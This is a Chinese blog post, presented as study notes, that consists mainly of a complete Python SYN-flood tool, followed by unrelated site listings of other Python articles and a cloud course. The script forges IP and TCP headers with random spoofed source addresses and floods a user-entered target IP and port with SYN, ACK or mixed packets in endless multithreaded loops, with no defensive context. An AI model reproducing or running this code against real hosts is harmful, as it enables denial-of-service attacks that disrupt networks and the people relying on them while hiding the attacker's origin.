Python实现SYNFlood,学习笔记

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333 是Python2还是3我给忘记了,大家自己试试吧。
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333

是Python2还是3我给忘记了,大家自己试试吧。

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
import struct
import random
import threading



class myThread (threading.Thread):
    def __init__(self,dstip,dstport,mode):
        threading.Thread.__init__(self)
        self.dstip = dstip
        self.dstport =dstport
        self.mode =mode
    def run(self):
        attack(self.dstip,self.dstport,self.mode)

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s


def IP(source,destination,udplen):
    version = 4
    ihl = 5
    tos = 0
    tl = 20+udplen
    ip_id = random.randint(1,65535)
    flags = 0
    offset = 0
    ttl = 128
    protocol =6
    check =0
    source = socket.inet_aton(source)
    destination = socket.inet_aton(destination)

    ver_ihl = (version << 4)+ihl
    flags_offset = (flags << 13)+offset
    ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    check,
                    source,
                    destination)
    check=checksum(ip_header)
    ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    socket.htons(check),
                    source,
                    destination)
    return ip_header


def TCP(srcip,dstip,protocol,dp,fg):
    source = socket.inet_aton(srcip)
    destination = socket.inet_aton(dstip)
    srcport=random.randint(1,65535)
    dstport=dp
    syn_num=random.randint(1,4000000000)
    if fg == 2:
        ack_num=0
    else:
        ack_num=random.randint(1,4000000000)
    hlen=5
    zero=0
    flag=fg
    window=8192
    check=0
    point=0
    tcplen=hlen
    h_f=(hlen << 12)+flag
    TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point)
    check=checksum(TCP_head)
    TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point)
    return TCP_head

def makepacket(dstip,dstport,fg):
    srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
    protocol=6
    ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)
    return ippacket


def attack(dstip,dstport,mode):
    if mode == 'syn':
        fg=2
        while 1:
            data=makepacket(dstip,dstport,fg)
            s.sendto(data,(dstip,dstport))
    elif mode == 'ack':
        fg=18
        while 1:
            data=makepacket(dstip,dstport,fg)
            s.sendto(data,(dstip,dstport))
    elif mode == 'syn&ack':
        while 1:
            data=makepacket(dstip,dstport,2)
            s.sendto(data,(dstip,dstport))
            data=makepacket(dstip,dstport,18)
            s.sendto(data,(dstip,dstport))
    else:
        print('DON\'T xia say!')

dstip=raw_input('attack IP:')
dstport=int(input('attack PORT:'))
mode=raw_input('mode:(syn or ack or syn&ack)')
threads=int(input("线程数threads:"))

ip_first=[]
for i in range(1,10):
    ip_first.append(i)

for i in range(11,172):
    ip_first.append(i)

for i in range(173,192):
    ip_first.append(i)

for i in range(193,224):
    ip_first.append(i)

s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)


threads_name=[]
for i in range(threads):
    threads_name.append('teread'+str(i))

for i in range(threads):
    threads_name[i]=myThread(dstip,dstport,mode)

for i in range(threads):
    threads_name[i].start()
相关实践学习
通过Ingress进行灰度发布
本场景您将运行一个简单的应用,部署一个新的应用用于新的发布,并通过Ingress能力实现灰度发布。
容器应用与集群管理
欢迎来到《容器应用与集群管理》课程,本课程是“云原生容器Clouder认证“系列中的第二阶段。课程将向您介绍与容器集群相关的概念和技术,这些概念和技术可以帮助您了解阿里云容器服务ACK/ACK Serverless的使用。同时,本课程也会向您介绍可以采取的工具、方法和可操作步骤,以帮助您了解如何基于容器服务ACK Serverless构建和管理企业级应用。 学习完本课程后,您将能够: 掌握容器集群、容器编排的基本概念 掌握Kubernetes的基础概念及核心思想 掌握阿里云容器服务ACK/ACK Serverless概念及使用方法 基于容器服务ACK Serverless搭建和管理企业级网站应用
相关文章
|
1月前
|
网络协议 Java Linux
PyAV学习笔记(一):PyAV简介、安装、基础操作、python获取RTSP(海康)的各种时间戳(rtp、dts、pts)
本文介绍了PyAV库,它是FFmpeg的Python绑定,提供了底层库的全部功能和控制。文章详细讲解了PyAV的安装过程,包括在Windows、Linux和ARM平台上的安装步骤,以及安装中可能遇到的错误和解决方法。此外,还解释了时间戳的概念,包括RTP、NTP、PTS和DTS,并提供了Python代码示例,展示如何获取RTSP流中的各种时间戳。最后,文章还提供了一些附录,包括Python通过NTP同步获取时间的方法和使用PyAV访问网络视频流的技巧。
248 4
PyAV学习笔记(一):PyAV简介、安装、基础操作、python获取RTSP(海康)的各种时间戳(rtp、dts、pts)
|
1月前
|
Python
Socket学习笔记(二):python通过socket实现客户端到服务器端的图片传输
使用Python的socket库实现客户端到服务器端的图片传输,包括客户端和服务器端的代码实现,以及传输结果的展示。
140 3
Socket学习笔记(二):python通过socket实现客户端到服务器端的图片传输
|
1月前
|
JSON 数据格式 Python
Socket学习笔记(一):python通过socket实现客户端到服务器端的文件传输
本文介绍了如何使用Python的socket模块实现客户端到服务器端的文件传输,包括客户端发送文件信息和内容,服务器端接收并保存文件的完整过程。
154 1
Socket学习笔记(一):python通过socket实现客户端到服务器端的文件传输
|
1月前
|
关系型数据库 MySQL 数据库
Mysql学习笔记(四):Python与Mysql交互--实现增删改查
如何使用Python与MySQL数据库进行交互,实现增删改查等基本操作的教程。
67 1
|
1月前
|
Ubuntu Linux Python
Ubuntu学习笔记(六):ubuntu切换Anaconda和系统自带Python
本文介绍了在Ubuntu系统中切换Anaconda和系统自带Python的方法。方法1涉及编辑~/.bashrc和/etc/profile文件,更新Anaconda的路径。方法2提供了详细的步骤指导,帮助用户在Anaconda和系统自带Python之间进行切换。
91 1
|
1月前
|
索引 Python
Python学习笔记编程小哥令狐~持续更新、、、(上)
Python学习笔记编程小哥令狐~持续更新、、、(上)
51 2
|
1月前
|
存储 Python
Python学习笔记编程小哥令狐~持续更新、、、 (下)
Python学习笔记编程小哥令狐~持续更新、、、 (下)
33 1
|
1月前
|
存储 Python
【免费分享编程笔记】Python学习笔记(二)
【免费分享编程笔记】Python学习笔记(二)
42 0
【免费分享编程笔记】Python学习笔记(二)
|
1月前
|
Java 编译器 Go
Python学习笔记--- day01计算机基础和环境搭建(一)
Python学习笔记--- day01计算机基础和环境搭建(一)
|
1月前
|
程序员 编译器 Python
Python学习笔记--- day01计算机基础和环境搭建(二)
Python学习笔记--- day01计算机基础和环境搭建(二)
下一篇
无影云桌面